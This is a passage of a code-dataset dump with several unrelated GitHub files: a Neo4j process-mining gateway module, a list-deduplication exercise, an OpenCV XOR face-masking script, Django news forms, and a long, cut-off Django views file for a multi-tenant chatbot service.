conPair=conPair, counter=counter)\n\n for rec in records:\n if rec is not None:\n for splitGWName in rec:\n print(splitGWName)\n return splitGWName\n else:\n return None\n\n def insertANDJoinGW(self, session, exitNodes, andJoinGW_name, joinNodeName):\n # Split detection\n\n q_andJoin = '''\n MATCH (a:RefModel)-[r:DFG]->(n {Name:$joinNodeName})\n WHERE a.Name in $exitNodes\n MERGE (joinGW:GW:RefModel {Name:$andJoinGW_name})-[s:DFG {rel:r.rel}]->(n)\n WITH s, r, joinGW, a\n MERGE (a)-[t:DFG {rel:r.rel, dff:r.dff}]->(joinGW)\n // hapus r\n DELETE r\n SET t.join = True, joinGW.type = 'andJoin', joinGW.join_gate = True\n WITH s, sum(t.dff) as sum_t_dff, joinGW\n SET s.dff = sum_t_dff\n WITH joinGW\n RETURN joinGW.Name\n '''\n records = session.run(q_andJoin, exitNodes=exitNodes, andJoinGW_name=andJoinGW_name, joinNodeName=joinNodeName)\n\n for rec in records:\n if rec is not None:\n for joinGWName in rec:\n print(joinGWName)\n return joinGWName\n else:\n return None","repo_name":"indrawaspada/GraphbasedPM","sub_path":"gateway.py","file_name":"gateway.py","file_ext":"py","file_size_in_byte":12718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42760230474","text":"def eliminateDuplicates(list1):\r\n maximum = max(list1)\r\n minimum = min(list1)\r\n for i in range(minimum, maximum + 1):\r\n numCounted = list1.count(i)\r\n if numCounted > 1:\r\n for x in range(0,numCounted - 1):\r\n list1.remove(i)\r\n return list1\r\nlist1 = input('Enter ten numbers: ')\r\nlist1 = list1.split(\" \")\r\nfor j in range(0, len(list1)):\r\n list1[j] = int(list1[j])\r\nlist1 = eliminateDuplicates(list1)\r\nprint(\"The distinct numbers are: \", end = \"\")\r\nfor i in range(0, len(list1)):\r\n print(list1[i],end = \" \")\r\n","repo_name":"dmaslin/Python-work","sub_path":"10.13.py","file_name":"10.13.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12554067002","text":"import cv2\nimport numpy as np\n\nlena = cv2.imread('../img/lena.bmp', 0) # 读取图像\nr, c = lena.shape # 获取图像的宽和高\ncv2.imshow('lena', lena) # 显示原始图像\n\nroi = lena[220: 400, 250: 350]\n\n# 获取一个key，key是打码、解码用的密钥图像\nkey = np.random.randint(0, 256, size=[r, c], dtype=np.uint8)\n# ================获取打码脸=================\n# Step 1：使用密钥key对原始图像lena加密\nlenaXorKey = cv2.bitwise_xor(lena, key)\n# Step 2：获取加密后图像的脸部区域（获取ROI）\nsecretFace = lenaXorKey[220: 400, 250: 350]\ncv2.imshow('secretFace', secretFace)\n# Step 3：划定ROI，其实没有实质性操作\n# lena[220: 400, 250: 350]\n# Step 4：将原始图像lena的脸部区域替换为加密后的脸部区域secretFace（ROI替换）\nlena[220: 400, 250: 350] = secretFace\nenFace = lena\ncv2.imshow('enFace', enFace)\n# ================脸部解码过程================\n# Step 5：将脸部打码的图像enFace与密钥图像key进行异或运算，得到脸部的原始信息（按位异或运算）\nextractOriginal = cv2.bitwise_xor(enFace, key)\n# Step 6：获取解密后的图像的脸部区域（获取ROI）\nface = extractOriginal[220: 400, 250: 350]\ncv2.imshow('face', face)\n# Step 7：将图像enFace的脸部区域替换为解密的脸部区域face（ROI替换）\nenFace[220: 400, 250: 350] = face\ndeFace = enFace\ncv2.imshow('deFace', deFace)\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"ssljd/opencv","sub_path":"实战项目/1.图像加密与解密/ROI.py","file_name":"ROI.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28821745224","text":"from django.forms import ModelForm\nfrom news.models import Article, Vote, Read, Delete\n\n\nclass ArticleForm(ModelForm):\n\tclass Meta(ModelForm):\n\t\tmodel = Article\n\t\tfields = ('title', 'url', 'description')\n\t\texcludes = ('hn_id', 'hn_url',\n\t\t\t\t\t'posted_by', 'comments', 'up_votes' ,'posted_on')\n\n\tdef __init__(self, *args, **kwargs):\n\t\t\"\"\" add bootstrap css classes to forms\n\t\t\"\"\"\n\t\tsuper(ArticleForm, self).__init__(*args, **kwargs)\n\t\tself.fields['title'].widget.attrs.update({'class' : 'form-control input', 'placeholder':'Title'})\n\t\tself.fields['url'].widget.attrs.update({'class' : 'form-control', 'placeholder':'link'})\n\t\tself.fields['description'].widget.attrs.update({'class':'form-control', 'placeholder': 'Description (optional)'})\n\n\n\tdef clean(self):\n\t\tpass\n\n\nclass VoteForm(ModelForm):\n class Meta:\n model = Vote\n fields = ('article', 'voted_by')\n\n\nclass ReadForm(ModelForm):\n class Meta:\n model = Read\n fields = ('article', 'read_by')\n\n\nclass DeleteForm(ModelForm):\n class Meta:\n model = Delete\n fields = ('article', 'deleted_by')\n\n","repo_name":"shashisp/h_news","sub_path":"news/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11530070228","text":"from django.shortcuts import render, get_object_or_404, HttpResponse, redirect\nfrom .models import *\nfrom .forms import *\nfrom .forms2 import *\nimport json\nfrom django.forms import formset_factory\nfrom .train_chatbot import train_chat\nfrom pathlib import Path\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.urls import reverse\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q, Sum, Count\nfrom django.core.mail import send_mail\nfrom django.contrib.auth import logout, login\nimport datetime\nfrom django.template.loader import render_to_string\nimport googletrans\nfrom googletrans import Translator\nfrom .view_functions import get_all_detail, check_trained_status\nimport random\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.clickjacking import xframe_options_exempt\nfrom bot_api.common_view_function import service_provider_view, get_slots, book_selected_slot_view\nimport os, sys\n\n\nclass HiddenPrints:\n def __enter__(self):\n self._original_stdout = sys.stdout\n sys.stdout = open(os.devnull, 'w')\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n sys.stdout.close()\n sys.stdout = self._original_stdout\n\n\n@login_required(login_url='user_login')\ndef update_bot_detail(request, pk, slug):\n company = get_object_or_404(Company, pk=pk)\n\n if request.user.role != 'admin' and request.user.company.pk != company.parent_company.pk:\n return render(request, 'bot/check_user.html')\n\n form = UpdateBotForm(instance=company)\n if request.method == 'POST':\n\n form = UpdateBotForm(request.POST, request.FILES, instance=company)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('update_bot_detail', args=(pk, slug)))\n\n context = {\n 'form': form,\n 'company': company,\n 'update_bot_detail': 'active',\n }\n\n return render(request, 'bot/update_bot_detail.html', context)\n\n\ndef intro_change_language(request):\n\n intro_text = request.GET.get('intro_text', None)\n instruction_text = request.GET.get('instruction_text', None)\n selected = request.GET.get('selected', None)\n curr_lang = request.GET.get('curr_lang', None)\n if intro_text and instruction_text and selected:\n translator = Translator()\n intro_text = translator.translate(intro_text, src=curr_lang, dest=selected).text\n name_key = translator.translate('Name', src=curr_lang, dest=selected).text\n email_key = translator.translate('email', src=curr_lang, dest=selected).text\n start_chat_key = translator.translate('Start Chat', src=curr_lang, dest=selected).text\n instruction_text = translator.translate(instruction_text, src=curr_lang, dest=selected).text\n data = {\n 'status': True,\n 'instruction_text': instruction_text,\n 'intro_text': intro_text,\n 'name_key': name_key,\n 'email_key': email_key,\n 'start_chat_key': start_chat_key,\n }\n else:\n data = {\n 'status': False\n }\n return JsonResponse(data)\n\n\ndef index(request):\n context = {\n\n }\n return render(request, 'home/homepage.html', context)\n\n\ndef pricing(request):\n context = {\n\n }\n return render(request, 'home/pricing.html', context)\n\n\ndef solutions(request):\n context = {\n\n }\n return render(request, 'home/solutions.html', context)\n\n\ndef templates(request):\n context = {\n\n }\n return render(request, 'home/templates.html', context)\n\n\n@xframe_options_exempt\ndef get_user_detail(request, secret_key):\n parent_uuid = request.GET.get('parent_company')\n admin_testing = False\n if parent_uuid:\n if str(parent_uuid) == str(request.user.company.secret_key):\n admin_testing = True\n\n languages = googletrans.LANGUAGES\n form = CustomerForm()\n company = Company.objects.filter(secret_key=secret_key)\n if company:\n company = company[0]\n else:\n context = {\n 'not_found': True,\n }\n return render(request, 'question-template/bot_inactive.html', context)\n\n if request.method == 'POST':\n if 'admin-testing' in request.POST:\n lang = request.POST['language-selected']\n return HttpResponseRedirect(reverse('bot_testing', args=(secret_key, lang)))\n else:\n form = CustomerForm(request.POST)\n if form.is_valid():\n email = form.cleaned_data['email']\n name = form.cleaned_data['name']\n lang = request.POST['language-selected']\n # secret_key = form.cleaned_data['secret_key']\n company = Company.objects.get(secret_key=secret_key)\n customer, created = Customer.objects.get_or_create(\n email=email,\n company=company,\n defaults={'name': name}\n )\n u_id = customer.u_field\n\n return HttpResponseRedirect(reverse('room', args=(secret_key, lang, u_id)))\n\n context = {\n 'form': form,\n 'company': company,\n 'languages': languages,\n 'secret_key': secret_key,\n 'not_found': False,\n 'admin_testing': admin_testing,\n }\n\n if company.active:\n return render(request, 'bot/get_user_detail.html', context)\n else:\n return render(request, 'question-template/bot_inactive.html', context)\n\n\n@xframe_options_exempt\ndef room(request, secret_key, lang, u_id):\n try:\n translate = Translator()\n company = Company.objects.filter(secret_key=secret_key)\n customer = get_object_or_404(Customer, u_field=u_id)\n if company:\n company = company[0]\n else:\n context = {\n 'not_found': True,\n }\n return render(request, 'question-template/bot_inactive.html', context)\n ChatHistory.objects.filter(Q(company=company) & Q(customer=customer)).update(saved_status=True)\n talker = User.objects.filter(Q(company=company.parent_company) & Q(role='admin')).first()\n previous_chat = request.GET.get('previous_chat')\n if previous_chat:\n new_history = ChatHistory.objects.filter(pk=previous_chat).prefetch_related('chat_history').first()\n else:\n new_history = ChatHistory.objects.create(company=company, customer=customer,\n chat_type='bot_chat', talker=talker)\n\n if_booking_available = ServiceProvider.objects.filter(company=company).exists()\n company_name = company.name[:10] if len(company.name) > 10 else company.name\n dir_name = 'company_files/' + str(company.id) + '_' + company_name + '/'\n sentence_list = [company.bot_name, company.intro_ques, company.bot_title, 'Book Appointment', company.bot_ques,\n company.bot_introduction]\n variable_list = ['bot_name', 'intro_ques', 'bot_title', 'appointment_title', 'bot_ques', 'bot_introduction']\n if lang == company.language:\n translated_dict = dict(zip(variable_list, sentence_list))\n else:\n translated_lines = translate.translate(sentence_list, src=company.language, dest=lang)\n translated_dict = dict(zip(variable_list, [i.text for i in translated_lines]))\n\n chat_titles = {}\n for i in company.company_chat_title.all():\n if i.active:\n if lang == company.language:\n chat_titles[i.pk] = i.title\n else:\n chat_titles[i.pk] = translate.translate(i.title, src=company.language, dest=lang).text\n\n static_list = ['We have sent confirmation mail. Please check.', 'Please wait for a moment...',\n 'Click on calendar icon to open calendar', 'Yes', 'No',\n 'We have saved your requirements. We will contact you ASAP. Would you like to ask anything else?',\n 'Please wait for 2 minutes. We will message you.', 'Click \"Yes\" to book this slot.',\n 'Your booking details:']\n static_title = ['confirmation_mail', 'please_wait', 'open_calender_line', 'choose_yes', 'choose_no',\n 'saved_requirements', 'wait_3_min', 'yes_to_book', 'booking_details']\n if lang != 'en':\n static_list_obj = translate.translate(static_list, src='en', dest=lang)\n static_list = [i.text for i in static_list_obj]\n static_dict = dict(zip(static_title, static_list))\n\n context = {\n 'previous_chat': previous_chat,\n 'company_secret_key': secret_key,\n 'company': company,\n 'parent_secret_key': company.parent_company.secret_key,\n 'dir_name': dir_name,\n 'u_id': u_id,\n 'lang': lang,\n 'translated_dict': translated_dict,\n 'chat_titles': chat_titles,\n 'static_dict': static_dict,\n 'if_booking_available': if_booking_available,\n 'not_found': False,\n 'new_history': new_history,\n 'secret_key': secret_key,\n 'bot_testing': False,\n }\n if company.active:\n return render(request, 'bot/chat_page.html', context)\n else:\n return render(request, 'question-template/bot_inactive.html')\n except:\n return render(request, 'bot/404_page.html')\n\n\n# For Employee\n@login_required(login_url='user_login')\ndef room_customer(request, secret_key, u_id, ques):\n company_qry = get_object_or_404(ParentCompany, secret_key=secret_key)\n if request.user.role != 'employee' and request.user.company.pk != company_qry.pk:\n return render(request, 'bot/check_user.html')\n\n user = request.user\n notification = EmpNotification.objects.filter(Q(user=user)).order_by('-pk')\n note_no = EmpNotifyNumber.objects.filter(user=user)\n note_number = note_no[0].number if note_no else 0\n customer_name = Customer.objects.get(u_field=u_id)\n context = {\n 'secret_key': secret_key,\n 'company_qry': company_qry,\n 'u_id': user.username,\n 'uu_id': u_id,\n 'customer_name': customer_name.name,\n 'company': customer_name.company,\n 'ques': ques,\n 'notification': notification,\n 'note_number': note_number,\n }\n return render(request, 'bot/room_customer.html', context)\n\n\n@login_required(login_url='user_login')\ndef add_question(request, id, slug):\n company = get_object_or_404(Company, pk=id, slug=slug)\n\n if request.user.role != 'admin' and request.user.company.pk != company.parent_company.pk:\n return render(request, 'bot/check_user.html')\n\n all_saved = Question.objects.filter(Q(question_tag__company=company) & Q(if_trained=False)).exists()\n create_formset = formset_factory(AddQuestionForm, max_num=1000, formset=RequiredFormSet)\n if request.method == 'POST':\n formset = create_formset(request.POST)\n if formset.is_valid():\n for form in formset:\n tag = form.cleaned_data['tag']\n answer = form.cleaned_data['answer']\n list_quest = form.cleaned_data['question'].split('\\r\\n')\n if not tag:\n tag = list_quest[0]\n question = {'question': list_quest}\n question_tag = QuestionTag.objects.create(tag=tag, company=company)\n question = Question.objects.create(question_tag=question_tag, question_text=question)\n Answer.objects.create(answer_text=answer, question=question, question_tag=question_tag,\n customer_care=request.user)\n\n return HttpResponseRedirect(reverse('notify', args=(id, slug)))\n\n else:\n formset = create_formset()\n\n context = {\n 'notify': 'active',\n 'formset': formset,\n 'id': id,\n 'company': company,\n 'all_saved': all_saved,\n }\n\n return render(request, 'bot/add_question.html', context)\n\n\n@login_required(login_url='user_login')\ndef create_file(request):\n pk = request.GET.get('pk')\n company = Company.objects.filter(pk=pk)\n if company:\n company = company[0]\n else:\n data = {\n 'status': 'not_found',\n 'message': 'Invalid bot id.'\n }\n return JsonResponse(data)\n\n if company.company_tag.count() < 2:\n data = {\n 'status': 'less_2',\n 'message': 'Need atleast 2 questions to train the bot.'\n }\n return JsonResponse(data)\n company_name = company.name[:10] if len(company.name) > 10 else company.name\n dir_name = 'company_files/' + str(company.id) + '_' + company_name + '/'\n filename = dir_name + 'fil.json'\n Path(dir_name).mkdir(parents=True, exist_ok=True)\n a = {'intents': []}\n qry = QuestionTag.objects.filter(company=company).prefetch_related('question_tag_name', 'answer_tag_name')\n for i in qry:\n dct = {'tag': i.tag, 'question': i.question_tag_name.question_text['question'],\n 'answer': [i.answer_tag_name.answer_text]\n }\n a['intents'].append(dct)\n with open(filename, 'w', encoding='utf-8') as f:\n json.dump(a, f, ensure_ascii=False, indent=4)\n with HiddenPrints():\n train_chat(dir_name)\n data = {\n 'message': 'Bot has been trained successfully.',\n 'status': True,\n }\n Question.objects.filter(question_tag__company=company).update(if_trained=True)\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef question_list(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n parent_company = request.user.company\n deleted = False\n edited = False\n questions = Question.objects.filter(question_tag__company__parent_company=parent_company).prefetch_related('question_name')\n\n if request.method == 'POST' and 'edit-question-submit' in request.POST:\n form = AddQuestionForm(request.POST)\n if form.is_valid():\n tag = form.cleaned_data['tag']\n answer = form.cleaned_data['answer']\n question_id = request.POST['question-pk']\n list_quest = form.cleaned_data['question'].split('\\r\\n')\n curr_ques = Question.objects.get(pk=question_id)\n if not tag:\n tag = list_quest[0]\n question = {'question': list_quest}\n question_tag = QuestionTag.objects.filter(question_tag_name__pk=question_id).update(tag=tag)\n questions = Question.objects.filter(pk=question_id).update(question_text=question)\n answer = Answer.objects.filter(question=curr_ques).update(answer_text=answer)\n edited = True\n questions = Question.objects.filter(question_tag__company__parent_company=parent_company).prefetch_related(\n 'question_name')\n\n elif request.method == 'POST':\n action = request.POST.get('change-status-select')\n items = request.POST.get('selected-items-input', None)\n if items:\n items = items.split(',')\n for i in items:\n title = Question.objects.get(pk=i)\n if title.question_tag.company.parent_company == parent_company:\n if action == '1':\n title.question_tag.delete()\n deleted = True\n\n context = {\n 'question_list': 'active',\n 'questions': questions,\n 'deleted': deleted,\n 'edited': edited,\n 'secret_key': parent_company.secret_key,\n }\n\n return render(request, 'bot/question_list.html', context)\n\n\n@login_required(login_url='user_login')\ndef question_detail(request):\n secret_key = request.GET.get('secret_key')\n question_id = request.GET.get('question_id')\n company = ParentCompany.objects.get(secret_key=secret_key)\n\n if request.user.company != company:\n data = {\n 'status': 'wrong_user',\n 'message': 'Something went wrong. Please refresh and try again'\n }\n return JsonResponse(data)\n\n questions = Question.objects.filter(pk=question_id).prefetch_related('question_name')[0]\n data = questions.question_text['question']\n\n pre_field = '\\r\\n'.join(data)\n fields = {'question': pre_field, 'answer': questions.question_name.answer_text}\n form = AddQuestionForm(initial=fields)\n if request.is_ajax():\n context = {\n 'form': form,\n }\n html = render_to_string('bot/question_detail.html', context=context, request=request)\n data = {\n 'html': html,\n 'status': True,\n 'question_id': question_id,\n }\n\n else:\n data = {\n 'status': False,\n }\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef chat_history(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n\n parent_company = request.user.company\n\n qry_filter = Q(company__parent_company=parent_company)\n histories = ChatHistory.objects.filter(qry_filter).annotate(q_count=Count('chat_history'))\n\n context = {\n 'chat_history': 'active',\n 'histories': histories,\n 'secret_key': parent_company.secret_key\n }\n return render(request, 'bot/chat_history.html', context)\n\n\n@login_required(login_url='user_login')\ndef get_conversation(request, secret_key, id):\n # secret key is company's secret key\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n\n conversation = Conversation.objects.filter(history__pk=id)\n company_secret_key = conversation[0].history.company.secret_key\n context = {\n 'get_conversation': 'active',\n 'conversation': conversation,\n 'id': id,\n 'company_secret_key': company_secret_key,\n }\n return render(request, 'bot/chat_conversation.html', context)\n\n\n@login_required(login_url='user_login')\ndef remove_note(request):\n note_type = request.GET.get('note_type')\n secret_key = request.GET.get('secret_key')\n company = get_object_or_404(ParentCompany, secret_key=secret_key)\n NotifyNumber.objects.filter(Q(company__parent_company=company) & Q(note_type=note_type)).update(number=0)\n data = {\n 'success': True\n }\n\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef change_read_status_note(request):\n pk = request.GET.get('pk')\n Notification.objects.filter(pk=pk).update(read_status=True)\n data = {\n 'changed': True\n }\n\n return JsonResponse(data)\n\n\ndef user_login(request):\n if request.user.is_authenticated:\n secret_key = request.user.company.secret_key\n if request.user.role == 'admin':\n return HttpResponseRedirect(reverse('bot_list'))\n else:\n return HttpResponseRedirect(reverse('employee_page', args=(secret_key,)))\n form = UserLoginForm()\n forget_password_form = ForgetPasswordForm()\n parent_company_form = ParentCompanyForm()\n signup_form = CreateUserForm()\n signup_success = True\n action = request.GET.get('action')\n if request.method == 'POST' and 'login-submit' in request.POST:\n form = UserLoginForm(request.POST)\n if form.is_valid():\n user = form.login(request)\n if user:\n login(request, user)\n user.logged_in = True\n user.available = True\n user.save()\n next_page = request.GET.get('next')\n if user.is_staff and user.is_superuser:\n return HttpResponseRedirect(reverse('company_list'))\n\n secret_key = user.company.secret_key\n if user.role == 'admin':\n return HttpResponseRedirect(reverse('bot_list'))\n else:\n return HttpResponseRedirect(reverse('employee_page', args=(secret_key,)))\n\n elif request.method == 'POST' and 'signup-submit' in request.POST:\n parent_company_form = ParentCompanyForm(request.POST)\n signup_form = CreateUserForm(request.POST)\n\n if parent_company_form.is_valid() and signup_form.is_valid():\n parent = parent_company_form.save(commit=True)\n user = signup_form.save(commit=False)\n user.set_password(signup_form.cleaned_data['password'])\n user.company = parent\n user.role = 'admin'\n user.save()\n subscription = SubscriptionPlan.objects.filter(is_default=True)\n expire_date = datetime.datetime.now() + datetime.timedelta(days=30)\n if subscription:\n subscription = subscription[0]\n number = subscription.bot_allowed\n TakenSubscription.objects.create(subscription=subscription, parent_company=parent, paid=True,\n expire_date=expire_date, remaining_bot=number)\n else:\n subscription = SubscriptionPlan.objects.all()\n if subscription:\n subscription = subscription[0]\n number = subscription.bot_allowed\n TakenSubscription.objects.create(subscription=subscription, parent_company=parent, paid=True,\n expire_date=expire_date, remaining_bot=number)\n\n login(request, user)\n user.logged_in = True\n user.available = True\n user.save()\n return HttpResponseRedirect(reverse('bot_list'))\n else:\n signup_success = False\n\n context = {\n 'form': form,\n 'forget_password_form': forget_password_form,\n 'parent_company_form': parent_company_form,\n 'signup_form': signup_form,\n 'signup_success': signup_success,\n 'action': action,\n }\n return render(request, 'bot/user_login.html', context)\n\n\ndef user_logout(request):\n user = request.user\n user.available = False\n user.logged_in = False\n user.save()\n logout(request)\n return redirect('user_login')\n\n\n# For Employee\n@login_required(login_url='user_login')\ndef employee_page(request, secret_key):\n if request.user.role != 'employee':\n return render(request, 'bot/check_user.html')\n user = request.user\n notification = EmpNotification.objects.filter(Q(read_status=False) & Q(user=user)).order_by('-pk')\n note_no = EmpNotifyNumber.objects.filter(user=user)\n note_number = note_no[0].number if note_no else 0\n context = {\n 'user': user,\n 'secret_key': secret_key,\n 'notification': notification,\n 'note_number': note_number,\n\n }\n\n return render(request, 'bot/employee_home.html', context)\n\n\n@login_required(login_url='user_login')\ndef create_user(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n\n parent_company = request.user.company\n form = CreateUserForm()\n company_bots = Company.objects.filter(parent_company=parent_company)\n\n if request.method == 'POST' and 'add_bot_submit' in request.POST:\n user_pk = request.POST['user_pk']\n user = get_object_or_404(User, pk=user_pk)\n add_bot_form = AddBotToUser(request.POST)\n if add_bot_form.is_valid():\n user.bots.set(request.POST.getlist('add_bot_to_user'))\n user.save()\n\n elif request.method == 'POST' and 'signup_submit' in request.POST:\n form = CreateUserForm(request.POST)\n if form.is_valid():\n user_form = form.save(commit=False)\n user_form.set_password(form.cleaned_data['password'])\n user_form.company = parent_company\n user_form.role = 'employee'\n user_form.save()\n user_form.bots.set(request.POST.getlist('add_bot_to_user'))\n user_form.save()\n return HttpResponseRedirect(reverse('create_user'))\n\n context = {\n 'form': form,\n 'create_user': 'active',\n 'company_bots': company_bots,\n }\n return render(request, 'bot/create_user.html', context)\n\n\n@login_required(login_url='user_login')\ndef add_bot_to_user(request):\n user_pk = request.GET.get('user_pk')\n user = get_object_or_404(User, pk=user_pk)\n company_bots = Company.objects.filter(parent_company=user.company)\n\n if request.is_ajax():\n form = AddBotToUser(instance=user)\n context = {\n 'form': form,\n 'user': user,\n 'company_bots': company_bots,\n }\n html = render_to_string('question-template/add_bot_to_user.html', context=context, request=request)\n data = {\n 'html': html,\n 'status': True,\n }\n\n else:\n data = {\n 'status': False,\n 'message': 'Something went wrong. Please refresh and try again.'\n }\n return JsonResponse(data)\n\n\n# For Employee\n@login_required(login_url='user_login')\ndef remove_emp_notification(request):\n user_id = request.GET.get('user')\n user = get_object_or_404(User, pk=user_id)\n EmpNotifyNumber.objects.filter(user=user).update(number=0)\n data = {\n 'success': True\n }\n\n return JsonResponse(data)\n\n\n# For Employee\n@login_required(login_url='user_login')\ndef change_emp_read_status_note(request):\n pk = request.GET.get('pk')\n EmpNotification.objects.filter(pk=pk).update(read_status=True)\n data = {\n 'changed': True\n }\n\n return JsonResponse(data)\n\n\ndef save_chat_customer(request):\n chat = request.GET.get('message')\n secret_key = request.GET.get('secret_key')\n cust_id = request.GET.get('cust_id')\n is_bot = request.GET.get('is_bot', None)\n # company = Company.objects.get(secret_key=secret_key)\n customer = Customer.objects.get(u_field=cust_id)\n company = customer.company\n user = request.user\n chat_j = json.loads(chat)\n history = ChatHistory.objects.create(company=company, talker=user, customer=customer,\n chat_type='user_chat', saved_status=True, trained_status=False)\n\n if is_bot == 'yes':\n history.trained_status = True\n history.save()\n\n for key, value in chat_j.items():\n Conversation.objects.create(history=history, question=key, answer=value)\n\n data = {'success': True}\n return JsonResponse(data)\n\n\ndef train_chat_data(request):\n chat = request.GET.get('chat')\n secret_key = request.GET.get('secret_key')\n id = request.GET.get('id')\n username = request.GET.get('username')\n user = User.objects.get(username=username)\n company = Company.objects.get(secret_key=secret_key)\n chat_json = json.loads(chat)\n for i, j in chat_json.items():\n tag = QuestionTag.objects.create(tag=i, company=company)\n question = Question.objects.create(question_tag=tag, question_text={'question': [i]})\n Answer.objects.create(question_tag=tag, question=question, answer_text=j, customer_care=user)\n ChatHistory.objects.filter(pk=id).update(trained_status=True)\n data = {\n 'message': 'Updated'\n }\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef create_chat_map(request, pk, bot_slug):\n company = get_object_or_404(Company, pk=pk, slug=bot_slug)\n\n if request.user.role != 'admin' and request.user.company.pk != company.parent_company.pk:\n return render(request, 'bot/check_user.html')\n\n title_form = ChatTitleForm()\n if request.method == 'POST' and 'title-form' in request.POST:\n title_form = ChatTitleForm(request.POST)\n if title_form.is_valid():\n title = title_form.save(commit=False)\n title.company = company\n title.save()\n return HttpResponseRedirect(reverse('chat_map_questions', args=(title.pk, title.slug)))\n\n context = {\n 'create_chat_map': 'active',\n 'id': pk,\n 'company': company,\n 'title_form': title_form,\n }\n return render(request, 'bot/create_map.html', context)\n\n\n@login_required(login_url='user_login')\ndef admin_dashboard(request):\n company = request.user.company\n\n\n@login_required(login_url='user_login')\ndef bot_list(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n parent_company = request.user.company\n bots = Company.objects.filter(parent_company=parent_company)\n subscription_plans = SubscriptionPlan.objects.all()\n allowed_bot = TakenSubscription.objects.filter(Q(parent_company=parent_company) & Q(paid=True)).aggregate(sum=Sum('remaining_bot'))\n test_secret_key = request.GET.get('test_secret_key')\n context = {\n 'bots': bots,\n 'subscription_plans': subscription_plans,\n 'bot_list': 'active',\n 'allowed_bot': allowed_bot,\n 'test_secret_key': test_secret_key,\n }\n\n response = render(request, 'bot/all_bots.html', context)\n return response\n\n\n@login_required(login_url='user_login')\ndef add_bot(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n\n form = CreateCompany()\n if request.method == 'POST':\n form = CreateCompany(request.POST, request.FILES)\n if form.is_valid():\n save_bot = form.save(commit=False)\n save_bot.parent_company = request.user.company\n save_bot.save()\n return HttpResponseRedirect(reverse('bot_list'))\n\n context = {\n 'add_bot': 'active',\n 'form': form,\n }\n\n return render(request, 'bot/add_bot.html', context)\n\n\n@login_required(login_url='user_login')\ndef chat_maps(request, pk, slug):\n company = get_object_or_404(Company, pk=pk, slug=slug)\n\n if request.user.role != 'admin' and request.user.company.pk != company.parent_company.pk:\n return render(request, 'bot/check_user.html')\n\n chat_title = ChatTitle.objects.filter(Q(company=company))\n\n context = {\n 'chat_maps': 'active',\n 'chat_title': chat_title,\n 'company': company,\n }\n return render(request, 'bot/chat_maps.html', context)\n\n\n@login_required(login_url='user_login')\ndef delete_chat_title(request, id):\n title = ChatTitle.objects.filter(pk=id)[0]\n company_pk = title.company.pk\n company_slug = title.company.slug\n secret_key = title.company.parent_company.secret_key\n if request.user.company.secret_key != secret_key:\n return render(request, 'bot/check_user.html')\n title.delete()\n\n return HttpResponseRedirect(reverse('chat_maps', args=(company_pk, company_slug)))\n\n\n@login_required(login_url='user_login')\ndef create_service_provider(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n\n parent_company = request.user.company\n service_providers = ServiceProvider.objects.filter(company__parent_company=parent_company).prefetch_related('provider_slot')\n if service_providers:\n curr_provider = service_providers[0]\n else:\n curr_provider = None\n time_slot_form = TimeSlotForm()\n create_provider_form = CreateProviderForm()\n category_form = ProviderCategoryForm()\n\n if request.method == 'POST':\n if 'category-save' in request.POST:\n category_form = ProviderCategoryForm(request.POST)\n if category_form.is_valid():\n category_form.save()\n return HttpResponseRedirect(reverse('create_service_provider'))\n\n if 'add-provider-submit' in request.POST:\n create_provider_form = CreateProviderForm(request.POST)\n if create_provider_form.is_valid():\n create_provider_form.save()\n return HttpResponseRedirect(reverse('create_service_provider'))\n\n context = {\n 'create_provider_form': create_provider_form,\n 'service_providers': service_providers,\n 'curr_provider': curr_provider,\n 'time_slot_form': time_slot_form,\n 'parent_company': parent_company,\n 'create_service_provider': 'active',\n 'category_form': category_form,\n }\n return render(request, 'bot/create_service_provider.html', context)\n\n\n@login_required(login_url='user_login')\ndef provider_detail(request):\n pk = request.GET.get('pk')\n service_providers = ServiceProvider.objects.filter(pk=pk).prefetch_related('provider_slot')\n if service_providers:\n curr_provider = service_providers[0]\n\n if request.is_ajax():\n context = {\n 'curr_provider': curr_provider,\n\n }\n html = render_to_string('bot/create_time_slot.html', context, request=request)\n data = {\n 'html': html,\n 'status': True,\n }\n else:\n data = {\n 'status': False,\n }\n else:\n data = {\n 'status': False,\n }\n\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef create_time_slot(request):\n if request.method == 'POST':\n user_pk = request.POST['provider']\n start = request.POST['start']\n end = request.POST['end']\n day = request.POST.getlist('select-day-drop-down')\n if start and end and user_pk and day:\n providers = ServiceProvider.objects.filter(pk=user_pk)\n if providers:\n curr_provider = providers[0]\n start = datetime.datetime.strptime(start, '%H:%M').time()\n end = datetime.datetime.strptime(end, '%H:%M').time()\n if start >= end:\n data = {\n 'status': False,\n 'message': 'start time should be less than end time.'\n }\n else:\n TimeSlots.objects.create(start=start, end=end, days={'day': day}, provider=curr_provider)\n curr_provider = ServiceProvider.objects.filter(pk=user_pk).prefetch_related('provider_slot')[0]\n if request.is_ajax():\n 